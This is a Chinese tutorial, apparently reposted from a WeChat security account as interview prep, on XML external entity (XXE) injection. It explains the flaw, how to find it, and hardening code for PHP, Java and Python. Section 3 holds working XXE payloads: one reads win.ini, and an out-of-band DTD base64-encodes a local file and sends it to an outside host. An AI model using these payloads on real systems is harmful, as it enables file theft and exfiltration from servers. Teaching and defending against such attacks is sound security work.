1、XXE介绍
1.1、XXE原理
- XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。
1.2、XXE定义
2、如何找xxe漏洞
2.1、白盒测试
查看代码里面是否使用了LoadXML( )函数
2.2、黑盒测试
- 抓包看响应体是否存在xml,accept头是否接受xml
https://www.cnblogs.com/mysticbinary/p/12668547.html
- 看到url文件名是否 .ashx后缀扩展名
- 抓包修改数据类型,把json改成xml来传输数据
3、XXE攻击
- 有回显
<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]> <name>&hacker;</name>
//定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">
- 无回显
-
- 建立*.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.0.0.14:100/?p=%file;'>">
//内部的%号要进行实体编码成%
-
- xml调用
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://10.0.0.20:200/test.dtd"> %remote;%int;%send; ]>
4、防范方法
- (1)、升级php版本
- (2)、程序员修改代码
PHP:libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false); Python:from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- (3)、过滤关键词
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
原文始发于微信公众号(Attacker安全):护网面试超级“干货”--XML(XXE)外部实体注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论